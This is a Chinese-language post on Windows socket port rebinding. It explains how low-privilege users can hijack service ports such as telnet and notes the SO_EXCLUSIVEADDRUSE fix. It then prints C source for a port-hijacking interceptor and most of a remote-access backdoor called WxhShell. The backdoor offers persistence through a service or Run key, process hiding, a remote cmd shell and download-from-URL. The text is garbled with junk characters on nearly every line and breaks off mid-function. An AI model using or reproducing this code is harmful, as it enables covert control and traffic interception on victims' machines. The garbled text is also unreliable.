在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
qeCx.Z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-pj&|<
h+9 JBa=R^k saddr.sin_family = AF_INET;
YizJT0$ 9o P8| <+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{W}.z %#NaM\=8v bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
sb_>D`> +V&b<y;?> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
;0}$zy1EZ WZRrqrjq 这意味着什么?意味着可以进行如下的攻击:
A~-e?. pN&Dpz^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
g!7/iKj: o:#MP(h,N 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
zp4Jd"XBX e(BF=gesgp 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{so"xoA^c @4h .? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
IBU(Hm1, m4ovppC 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
K3?7Hndf2 QQ97BP7W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
> K,Q`sS E'$r#k:o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#HB]qa !5 %c`4 #include
_p7c<$; #include
kAf:_0?6 #include
PP&AF?C #include
GFx>xQk DWORD WINAPI ClientThread(LPVOID lpParam);
&^1DNpUZ int main()
~LHG {
IZ3w.:A WORD wVersionRequested;
^MUtmzh DWORD ret;
Ol"p^sqwj WSADATA wsaData;
gOO\` # BOOL val;
.0#?u1gXsX SOCKADDR_IN saddr;
B4GgR,P@S SOCKADDR_IN scaddr;
6+FmYp int err;
mN_RB{g{ SOCKET s;
1I KDp]SN SOCKET sc;
A;w,m{9< int caddsize;
'HkV_d[li HANDLE mt;
X'ryfa1| DWORD tid;
c^UG}:Y wVersionRequested = MAKEWORD( 2, 2 );
eqs.zL err = WSAStartup( wVersionRequested, &wsaData );
9<P1?Q if ( err != 0 ) {
!3 $Ph printf("error!WSAStartup failed!\n");
vgHMVzxj return -1;
+WK!}xZR }
r_I7Gd saddr.sin_family = AF_INET;
J`uV $l: $~50M5&K# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Oh~JyrZy bKmR
&
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
F^&_O*" saddr.sin_port = htons(23);
6\g]Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zfO0+fMH {
hI;tB6 printf("error!socket failed!\n");
{?l#*XH; return -1;
D>~z{H%\ }
4&r^mGs, val = TRUE;
o{?s\)aBa //SO_REUSEADDR选项就是可以实现端口重绑定的
1>4'YMdZi if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
MI!C% {
EG59L~nM printf("error!setsockopt failed!\n");
d;9 X1`" return -1;
QOEcp% 6I} }
x g/3*rL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
6N :fq //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
`K~300-hOb //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
;->(hFJt U8?QyG
2A if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
B@A3T8' {
TNUzNA ret=GetLastError();
#)hM]=,e printf("error!bind failed!\n");
|JSj<~1ki return -1;
9EK5#_L[= }
F.?^ko9d listen(s,2);
8{@|M l while(1)
@ bPQhn#(g {
i(2s"Uww, caddsize = sizeof(scaddr);
tqAh&TW3+ //接受连接请求
7P?z{x':T sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0tC+? if(sc!=INVALID_SOCKET)
#)tt}GX {
7*M+bZ`x mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ckBcwIXlP& if(mt==NULL)
My76]\Psh {
n87B[R printf("Thread Creat Failed!\n");
{2}O\A break;
7pMrYIP }
M8ZpNa }
\eT0d< CloseHandle(mt);
Im+<oZ }
TPt<(-}W closesocket(s);
/^G1wz2 WSACleanup();
OSK3X Qc return 0;
AwAUm 2^ }
`!kOyh:X DWORD WINAPI ClientThread(LPVOID lpParam)
,Za! {
^0R.'XL SOCKET ss = (SOCKET)lpParam;
PP.QfY4 SOCKET sc;
D4ESo)15' unsigned char buf[4096];
{PnvQ?|Z SOCKADDR_IN saddr;
S2kFdx*Zf long num;
=[FNZ:3 DWORD val;
200/ DWORD ret;
ly7\H3 //如果是隐藏端口应用的话,可以在此处加一些判断
"H" 4(3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
']4b}F:} saddr.sin_family = AF_INET;
b\Y<1EV^[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ZO5_n saddr.sin_port = htons(23);
)AEJ`xC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G ?jKm_`L {
<3m_}
=\ printf("error!socket failed!\n");
M^AwOR7< return -1;
3E$M{l }
?]]>WP val = 100;
Fc M if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
HJo&snT3 {
:$~)i?ge<5 ret = GetLastError();
Jajo!X*Wai return -1;
"9jt2@< }
aJ}y|+Cj if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ARGtWW~: {
C}<j8a? ret = GetLastError();
3vfm$sx@ return -1;
uPr'by }
>k"Z'9l if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
U$&G_&*0a {
@@"}i7 printf("error!socket connect failed!\n");
>\y|}|? closesocket(sc);
~,WG284 closesocket(ss);
eRKuy l return -1;
epI&R) ] }
@e8b'w3 while(1)
rG|lRT3-K {
{?!=~vp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)y4bb^;z //如果是嗅探内容的话,可以再此处进行内容分析和记录
I`^
7Bk.r //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Ua\]]<hj" num = recv(ss,buf,4096,0);
47 xyS%X if(num>0)
b
R> G%*a send(sc,buf,num,0);
"SJp9s3 else if(num==0)
As
}:~Jy| break;
FNL[6.!PV num = recv(sc,buf,4096,0);
?{[ISk) if(num>0)
{}kE=L5 send(ss,buf,num,0);
tPB r{ else if(num==0)
2#1"(m{ break;
Ri=:=oF( }
2$?bLvk closesocket(ss);
ebK/cPa8 closesocket(sc);
D[32t0 return 0 ;
d7waBsf }
KX D&FDkF M3P\1 bnHQvCO3$ ==========================================================
:>4pH ]CHO5'%,$ 下边附上一个代码,,WXhSHELL
a9]F.Jm s.7\?(Lg ==========================================================
r@b M3V_o
mo+zq~,M #include "stdafx.h"
{9:[nqX B3|h$aKC #include <stdio.h>
P'%#B&LZo #include <string.h>
dO]N&'P7 #include <windows.h>
E-gI'qG\( #include <winsock2.h>
{w:*t)@j #include <winsvc.h>
tljZE) #include <urlmon.h>
<LL+\kfTZO Sk7l&B #pragma comment (lib, "Ws2_32.lib")
p}H:t24Cr5 #pragma comment (lib, "urlmon.lib")
$WmB __ ^/@Z4(E #define MAX_USER 100 // 最大客户端连接数
t6u>_She #define BUF_SOCK 200 // sock buffer
;e
Iqxe> #define KEY_BUFF 255 // 输入 buffer
x-27rGN &O8vI,M #define REBOOT 0 // 重启
hWc`4xdl #define SHUTDOWN 1 // 关机
aT|SKb` (=&z:-52V #define DEF_PORT 5000 // 监听端口
dpG l 1<|\df. #define REG_LEN 16 // 注册表键长度
-KV)1kET #define SVC_LEN 80 // NT服务名长度
sNB*S{ (5CdA1| // 从dll定义API
:kU#5Aj gK typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
K/WnK:LU typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
:&Sv jJR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
p G|-<6WY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
~EIK |Y|6`9; // wxhshell配置信息
QAGR\~ struct WSCFG {
j IO2uTM~ int ws_port; // 监听端口
zplAH!s5'' char ws_passstr[REG_LEN]; // 口令
5SV w71* int ws_autoins; // 安装标记, 1=yes 0=no
c{.y9P6 char ws_regname[REG_LEN]; // 注册表键名
C_>
WU char ws_svcname[REG_LEN]; // 服务名
mq#8[D char ws_svcdisp[SVC_LEN]; // 服务显示名
~dc
o char ws_svcdesc[SVC_LEN]; // 服务描述信息
9;2{=, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
<&w(%<; int ws_downexe; // 下载执行标记, 1=yes 0=no
zXX=WH char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kXW5bR char ws_filenam[SVC_LEN]; // 下载后保存的文件名
CE,0@%6F* t =LIkwD };
!m]_tB &<nj~BL // default Wxhshell configuration
-Cn x!g} struct WSCFG wscfg={DEF_PORT,
up _Qv#`Q "xuhuanlingzhe",
2/o_,k 1,
^*?mb) "Wxhshell",
QC\r|RXW "Wxhshell",
#su R[K*S "WxhShell Service",
Z$*m=]2 "Wrsky Windows CmdShell Service",
=Jyi9VN=& "Please Input Your Password: ",
.)(5F45Wg 1,
<n4?wo "
http://www.wrsky.com/wxhshell.exe",
OQnb^fabY "Wxhshell.exe"
uuaoBf };
?uAq goCl #(pY~\ // 消息定义模块
K92nh/}y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
wWYo\WH' char *msg_ws_prompt="\n\r? for help\n\r#>";
gh9Gc1tKt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Pzt5'O@dA char *msg_ws_ext="\n\rExit.";
$sILCn char *msg_ws_end="\n\rQuit.";
k'6x_
G char *msg_ws_boot="\n\rReboot...";
8kdJ;%^N char *msg_ws_poff="\n\rShutdown...";
2^aXXPC char *msg_ws_down="\n\rSave to ";
2xxw8_~C i<\WRzVT char *msg_ws_err="\n\rErr!";
#'y4UN char *msg_ws_ok="\n\rOK!";
.@KI,_X6, oaac.7.fV char ExeFile[MAX_PATH];
z:1"d
R
int nUser = 0;
R)ep1X^ HANDLE handles[MAX_USER];
6Pp3*O`/V int OsIsNt;
hQb3 8W[ !kW~s_gUb* SERVICE_STATUS serviceStatus;
;$.^ SERVICE_STATUS_HANDLE hServiceStatusHandle;
F[q)ME+`) Vq&}i~ // 函数声明
*lo0T93B int Install(void);
6N\f>c int Uninstall(void);
~o8 int DownloadFile(char *sURL, SOCKET wsh);
R4_BP5+ int Boot(int flag);
dDrzO*a\ void HideProc(void);
q<XleC int GetOsVer(void);
f7_V ] int Wxhshell(SOCKET wsl);
9P1!<6mN\ void TalkWithClient(void *cs);
:pJKZ2B, int CmdShell(SOCKET sock);
<D`VFSEJ int StartFromService(void);
a&z$4!wQB int StartWxhshell(LPSTR lpCmdLine);
.;J6)h aN5"[& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
oUd R,;h9 VOID WINAPI NTServiceHandler( DWORD fdwControl );
)BeBxo7lv jR[b7s // 数据结构和表定义
Ir6(EIwx0 SERVICE_TABLE_ENTRY DispatchTable[] =
jvQpfd {
MA,7|s
{wscfg.ws_svcname, NTServiceMain},
()MUyW"S#` {NULL, NULL}
L3;cAb/ };
bHRRgR`, Xmny(j)g // 自我安装
d-{1>\-_ int Install(void)
+\x}1bNS%j {
$y_P14
char svExeFile[MAX_PATH];
2{|mL`$04< HKEY key;
DCP
B9:u strcpy(svExeFile,ExeFile);
Lk lD^AJA 'H8b+ // 如果是win9x系统,修改注册表设为自启动
>F5E^DY if(!OsIsNt) {
^k2g60] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
) :VF^" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y52TC@' RegCloseKey(key);
5~FXy{ZIH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ZH)thd9^b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Ba}<X;B } RegCloseKey(key);
gP2<L5&Z, return 0;
1|WrJ-Uf }
z1m-t#v: }
6f*QUw~ }
Mi<l;ZP else {
06]%$-j exxH0^ // 如果是NT以上系统,安装为系统服务
+JejnG0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ake$M^Bz if (schSCManager!=0)
?_`X8Ok {
G'T:l("l SC_HANDLE schService = CreateService
jaL# (
bLSUF`-z schSCManager,
{k uC+~R wscfg.ws_svcname,
3~EPX`#[W wscfg.ws_svcdisp,
}X9G(`N(} SERVICE_ALL_ACCESS,
LI9
Uc\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@(CJT-Ak SERVICE_AUTO_START,
c[+uwO~ SERVICE_ERROR_NORMAL,
|>/m{L[ svExeFile,
%7A?gY81 NULL,
_/z3QG{Ea^ NULL,
Hrg -5_ NULL,
R4%}IT^%P NULL,
)mu[ye"p NULL
BIxjY!!" );
H;N6X y*~ if (schService!=0)
y:YJv x6&4 {
|"+UCAU CloseServiceHandle(schService);
CwaW>(`v CloseServiceHandle(schSCManager);
u=
Vt3%q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
G2yQHTbl strcat(svExeFile,wscfg.ws_svcname);
H~;s$!lG if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(R]b'3,E$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
m](q,65 2 RegCloseKey(key);
JN-W`2 return 0;
=JE5/ }
Ay|K>8z }
]$)U~)T
iW CloseServiceHandle(schSCManager);
KkZS 6rD\ }
dmYgv^t }
-5y=K40 E`b<^l` return 1;
Ey&gZ$|& }
i4\DSQJ G O[u // 自我卸载
'MQJt2QU9{ int Uninstall(void)
*6wt+twH {
A5^tus/y HKEY key;
E*s8 nQ" -eFq^KP2 if(!OsIsNt) {
ebiOR1)sN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
R6`,}<A]@ RegDeleteValue(key,wscfg.ws_regname);
@n;$Edza/ RegCloseKey(key);
yk/BQ|G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&%;K_asV; RegDeleteValue(key,wscfg.ws_regname);
YSru5Q RegCloseKey(key);
15_Px9 return 0;
+:&|]$8< }
FvVM}l' }
Rg7~?b- }
$H"(]>~ else {
fzr0dcNgM >k8FUf(c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
lNx:_g:SrZ if (schSCManager!=0)
*n_7~ZX {
|W*i'E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Vi>`g{\ if (schService!=0)
<KrfM {
uF\ ;m. if(DeleteService(schService)!=0) {
XXy&1C CloseServiceHandle(schService);
m^KK
#Hw/` CloseServiceHandle(schSCManager);
R]"
jr return 0;
h@+(VQ }
-Q"
N;&'[& CloseServiceHandle(schService);
MNocXK }
QFU1l"(qGk CloseServiceHandle(schSCManager);
.9!?vz]1 }
S?u@3PyJm }
y\mK?eR z+]YB5zK% return 1;
B qcFbY }
Ja{[T [4b_`L // 从指定url下载文件
-5GRit1q? int DownloadFile(char *sURL, SOCKET wsh)
7 ;SI= {
Jj7he(!_1 HRESULT hr;
jd+U+8r char seps[]= "/";
@QAI 0ZY char *token;
-op(26:W< char *file;
+&.wc;mi char myURL[MAX_PATH];
RP%7M8V){B char myFILE[MAX_PATH];
THmmf_w@ b$N&sZ strcpy(myURL,sURL);
c;7`]}fGu token=strtok(myURL,seps);
kZNVUhW6S while(token!=NULL)
x%%OgO+> {
^gY3))2_ file=token;
u%AyW token=strtok(NULL,seps);
b2XUZ5 }
,2]a<0m CDT3&N1'R GetCurrentDirectory(MAX_PATH,myFILE);
en-HX3' strcat(myFILE, "\\");
gJ?Vk<hp strcat(myFILE, file);
M"E7=J send(wsh,myFILE,strlen(myFILE),0);
oNp(GQ@0 send(wsh,"...",3,0);
Z?)=4| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
CYZ0F5+t if(hr==S_OK)
n0opb [ ? return 0;
LIfYpn6 else
R_B`dP<"~Y return 1;
A x'o|RE)x "w:?WS }
aS&,$sR c. 06Sw* // 系统电源模块
|`Iispn int Boot(int flag)
.y>G/8_i {
x"{WLZ HANDLE hToken;
CQ:38l\`gd TOKEN_PRIVILEGES tkp;
Itv}TK
eF vu`,:/|h if(OsIsNt) {
p>= b|Qy| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ObSRd$M LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
v_I)eac z tkp.PrivilegeCount = 1;
/s "Lsbe tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
S(Q=2Y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5'S~PQka* if(flag==REBOOT) {
{ !NXu if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[6f(3|" return 0;
{R}Kt;L:Ut }
E[2xo/H else {
WbGN
5?9Q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@q+X:K5b return 0;
1[ 40\ sM }
PEPf=sm }
LuvRxmQ` else {
';3#t(J; if(flag==REBOOT) {
!b8.XGo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Q[MWzsx return 0;
:bu]gj4e }
><H*T{
Pg else {
U flS` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.?)gn]# return 0;
Wph@LRB] }
mH/9J
}
}$Z0v` ;Miag'7 return 1;
YK )e }
\&b1%Asyz P;
9{; // win9x进程隐藏模块
1i/&t[ void HideProc(void)
Lb} $)AcC {
GDY=^r @k3xk1* HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
]h?p3T$h if ( hKernel != NULL )
N^%7 {
o+F<
r# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5LzP0F
U ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
aM|;3j1p FreeLibrary(hKernel);
+\U#:gmw }
DLd1Cl:"~: mY&(&'2T" return;
+MyXIWmD }
# "!q_@b,D m*~Iu<5L // 获取操作系统版本
&%r<_1 int GetOsVer(void)
]? %*3I {
]?lUe5F OSVERSIONINFO winfo;
>8.o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
_:~I(c6 GetVersionEx(&winfo);
>o )v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
dzs(sM= return 1;
,dXJCX8so else
{P'^X+B0* return 0;
xP-\)d-.aN }
1fqJtP6 pYz\GSd // 客户端句柄模块
N;R I
A int Wxhshell(SOCKET wsl)
T7?cnK" {
0[.T`tpN' SOCKET wsh;
a~&euT2 struct sockaddr_in client;
,$(a,`s) DWORD myID;
2 `U+
! D+"+m%^>C while(nUser<MAX_USER)
v4vIcHDs {
'nN'bVl/ int nSize=sizeof(client);
;S+]Z!5LT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
x &*2R#Ai if(wsh==INVALID_SOCKET) return 1;
og`K!d~ hj,y l& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Y+ !z]S/x if(handles[nUser]==0)
i)=
\-C closesocket(wsh);
v@QfxV2 else
HcCT=x7: nUser++;
Ot;)zft }
Dbw{E:pq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
D\^\_r): `rb}"V+ return 0;
fVz0H1\J& }
8c%_R23 #j4RX:T*[ // 关闭 socket
&vN^*:Q void CloseIt(SOCKET wsh)
#:s*Hy= {
dU&hM<.| closesocket(wsh);
98XlcI# nUser--;
7x#."6>Dy ExitThread(0);
i,!t u }
Kp>fOe'KW K#LDmC // 客户端请求句柄
=[LUOOR*] void TalkWithClient(void *cs)
8 `}I] {
Ru@ { b` -8Hv3J'= SOCKET wsh=(SOCKET)cs;
ffR<G&"n~b char pwd[SVC_LEN];
z!aU85y char cmd[KEY_BUFF];
nrKir char chr[1];
+g&M@8XO& int i,j;
){4 ! zKfY0A R while (nUser < MAX_USER) {
RC!9@H5S# cs?IzIQ if(wscfg.ws_passstr) {
6cXZ3;a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s9,Z}]Th //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
',]^Qu`a //ZeroMemory(pwd,KEY_BUFF);
p4vX3?&1W i=0;
/ "@cv{ while(i<SVC_LEN) {
=F09@C, }#2I/dn // 设置超时
7V-uQ)* fd_set FdRead;
b}!T!IP} struct timeval TimeOut;
PO*0jO;% FD_ZERO(&FdRead);
" TC:O^X FD_SET(wsh,&FdRead);
88Vl1d&b TimeOut.tv_sec=8;
/YHnt-}v, TimeOut.tv_usec=0;
s[#_sR`y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
v9"03=h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!q 9PO 6 -BC/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^#]eCXv pwd
=chr[0]; ZG(Pz9{K
if(chr[0]==0xd || chr[0]==0xa) { v.F|8 cG
pwd=0; kL"Y>@H
break; %R P\,|
} \G2PK&)F
i++; K"8!
} #N'bhs
!+(H(,gI
// 如果是非法用户,关闭 socket ~z'Y(qG
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H`
h]y
} h/]));p
dg#w!etB
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S3^(L
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |LirjC4
<=%=,Yk
while(1) { ?%*p!m
vF9fXY=
ZeroMemory(cmd,KEY_BUFF); V^< Zs//7
pYh\l.@qf
// 自动支持客户端 telnet标准 !d&SVS^mo
j=0; y>0Gmr
while(j<KEY_BUFF) { Jk57| )/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T@d4NF#
cmd[j]=chr[0]; bzh:
if(chr[0]==0xa || chr[0]==0xd) { )!Zm*(
cmd[j]=0; lsU`~3nr
break; { a_&L
} 2E0oLl[
j++; D~)bAPAD
} hVh,\d&2t
D!mx &O9
// 下载文件 f1q0*)fk
if(strstr(cmd,"http://")) { \7G.anY
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5%w08
if(DownloadFile(cmd,wsh)) \S>GtlQbn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); d$y?py
else 9yp'-RKjw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4P?@NJp
} bJ]blnH
else { B1TWOl?d{
$V;0z~&!'
switch(cmd[0]) { _Zus4&'
P?J\pJ1|7
// 帮助 ')ZZ)&U>z
case '?': { H__'K/nH+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i4mP*RwC
break; JtxitF2
} ucFfxar"
// 安装 =lL)g"xX
case 'i': { DJ`xCs!R
if(Install()) n@J>,K_B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 's$/-AV
else F!P,%JmI<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *hh iIiog+
break; {
T?1v*.[
} 8zQN[[#n
// 卸载 7=a
e^GKo
case 'r': { _% i!LyG
if(Uninstall()) 0~e6\7={
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ehq
[4}
else |OIU)53A-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w{ Pl
break; av~kF
} FY
pspv?4
// 显示 wxhshell 所在路径 V^_U=Ed@M
case 'p': { Z9j`<VgN
char svExeFile[MAX_PATH]; G4uA&"OE
strcpy(svExeFile,"\n\r"); . dJBv
strcat(svExeFile,ExeFile); 4jC7>mE
send(wsh,svExeFile,strlen(svExeFile),0); =z\/xzAwX
break; eE@7AM
} ;#=y5Q4
// 重启 '`j MNKn\
case 'b': { I2z6iT4nB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $?uLFD
if(Boot(REBOOT)) oG
c9
6B%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WQMoAPfqL
else { <4TF ]5
closesocket(wsh); B^/(wHBp
ExitThread(0); R,8Tt!n
} bd[iD?epD]
break; x[mh^V5ld
} [Xww`OUsh
// 关机 3e1%G#fu
case 'd': { PoD/i@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &;U
F,
if(Boot(SHUTDOWN)) 1z_1Hl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e^UUR-K%
else { J7@Q;gcl:
closesocket(wsh); d3NER} f4V
ExitThread(0); Qjmo{'d
} zpg512\y
break; tg7QX/KX
} _ o==
// 获取shell 9/{ 8Y&
case 's': { Bnw^W_
CmdShell(wsh); =KHX_ib
closesocket(wsh); {Rn*)D9
ExitThread(0); @_?Uowc8
break; 7Ac.^rv5
} jWso'K
// 退出 y0'WB`hNQ
case 'x': { dRUmC H
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HahA} Q
CloseIt(wsh); !w/]V{9`X
break; P>R u
} ;8w
CQ
// 离开 N!<X%Ym
case 'q': { 6\? 2=dNX
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f;!L\$yKy
closesocket(wsh); HBA|NV3.
WSACleanup(); V-18~+F~"a
exit(1); n!U1cB{
break; 6n
H'NNS:J
} w I[Hoi
V
} fONycXM]
} ?gCP"~
57EL&V%j
// 提示信息 X$eR RSW
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B[5<&
} Gz2\&rmN
} QV
-ZP'e^
_5o5/@
return; TJ|do`fw>
} {x~r$")c?
dJ~Occ 1~r
// shell模块句柄 :wfN+g=
int CmdShell(SOCKET sock) 4wx{i6
{ NKRm#
STARTUPINFO si; >AWWwq -
ZeroMemory(&si,sizeof(si)); D8`SI21P
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nj +^;Y
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DIgur}q)@
PROCESS_INFORMATION ProcessInfo; A(z
m
char cmdline[]="cmd"; W>u{JgY
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sHQO*[[
return 0; 9TEAM<b;
} J\Tu=f)
vnqLcNB H
// 自身启动模式 3bHB$n
int StartFromService(void) (W#^-*$R
{ %0vWyU:K9
typedef struct ~SI G0U8
{ ;8b!T
-K
DWORD ExitStatus; 3!8 u
DWORD PebBaseAddress; +kq+x6&
DWORD AffinityMask; fFXnD
DWORD BasePriority;
9&s>RJ
ULONG UniqueProcessId; J2k4k
ULONG InheritedFromUniqueProcessId; 28j/K=0(
} PROCESS_BASIC_INFORMATION; )GOio+{H
